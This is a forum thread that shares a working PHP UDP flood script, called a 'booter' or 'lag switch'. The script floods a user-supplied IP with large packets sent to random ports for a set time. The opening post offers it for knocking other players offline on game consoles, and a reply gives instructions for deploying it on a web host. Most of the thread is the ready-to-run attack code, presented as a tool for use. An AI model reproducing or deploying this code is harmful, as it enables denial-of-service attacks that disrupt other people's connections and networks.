Post: PHP UDP Flooder (Lag Switch)
09-15-2012, 12:46 AM #1
Red
Life In Technicolor
(adsbygoogle = window.adsbygoogle || []).push({}); I have no idea if this is already posted but here it is. This is also a 'Lag Switch' and can be used to kick people offline on Games Consoles, as long as you are host. :fa:

    
<html>
<head>
Hex Booter
<?php
$ip = $_SERVER['REMOTE_ADDR'];
?>
</head>
<body>
<center>
<font color="blue">
<pre>
_______(_ | o ,' `.
|:::::::::\ | : `--. \
|::::::::::| | (-) \ :
|::::::::::| | / @: |
|::::::::::| | `: : :
|::::::::::| | \- ;/
|::::::::::| | "---'=\
|::::::::::| | ___ / `.\
'-------,--'--.-' ____,:__/`-.:_,-* :'
-------'-------`---`-----' `-. _, |
--------------------------' `---" |
<center><b>Your IP:</b> <font color="blue"><?php echo $ip; ?></font> Don't Dos yourself<br><br></center>
</pre>
<STYLE>
input{
background-color: blue; font-size: 8pt; color: white; font-family: Tahoma; border: 1 solid #666666;
}
button{
background-color: #00FF00; font-size: 8pt; color: #000000; font-family: Tahoma; border: 1 solid #666666;
}
body {
background-color: #000000;
}
</style>
<?php
//UDP
if(isset($_GET['host'])&&isset($_GET['time'])){
$packets = 0;
ignore_user_abort(TRUE);
set_time_limit(0);

$exec_time = $_GET['time'];

$time = time();
//print "Started: ".time('d-m-y h:i:s'Winky Winky."<br>";
$max_time = $time+$exec_time;

$host = $_GET['host'];

for($i=0;$i<65000;$i++){
$out .= 'X';
}
while(1){
$packets++;
if(time() > $max_time){
break;
}
$rand = rand(1,65000);
$fp = fsockopen('udp://'.$host, $rand, $errno, $errstr, 5);
if($fp){
fwrite($fp, $out);
fclose($fp);
}
}
echo "<br><b>UDP Flood</b><br>Completed with $packets (" . round(($packets*65)/1024, 2) . " MB) packets averaging ". round($packets/$exec_time, 2) . " packets per second \n";
echo '<br><br>
<form action="'.$surl.'" method=GET>
<input type="hidden" name="act" value="phptools">
IP: <br><input type=text name=host><br>
Length (seconds): <br><input type=text name=time><br>
<input type=submit value=Go></form>';
}else{ echo '<br><b>UDP Flood</b><br>
<form action=? method=GET>
<input type="hidden" name="act" value="phptools">
IP: <br><input type=text name=host value=><br>
Length (seconds): <br><input type=text name=time value=><br><br>
<input type=submit value=Go></form>';
}
?>
</center>
</body>
</html>


Enjoy. :fa:
(adsbygoogle = window.adsbygoogle || []).push({});
10-14-2012, 08:48 PM #11
Pure_
Do a barrel roll!
Originally posted by cucufate View Post
virus.... please go troll to another site

I saw nothing malicious with his code.

For those who want to know how to use this, save the file with the PHP extension and upload it to a web host which allows scripts like this and go onto the page and fill out the form.

If you don't have a web host you can either try experimenting with the PHP binary installation or by installing a web daemon and PHP alongside it, then running it just like you would from a web host.
11-16-2012, 08:33 AM #12
Thanks Man! Happy

Copyright © 2026, NextGenUpdate.
All Rights Reserved.

Gray NextGenUpdate Logo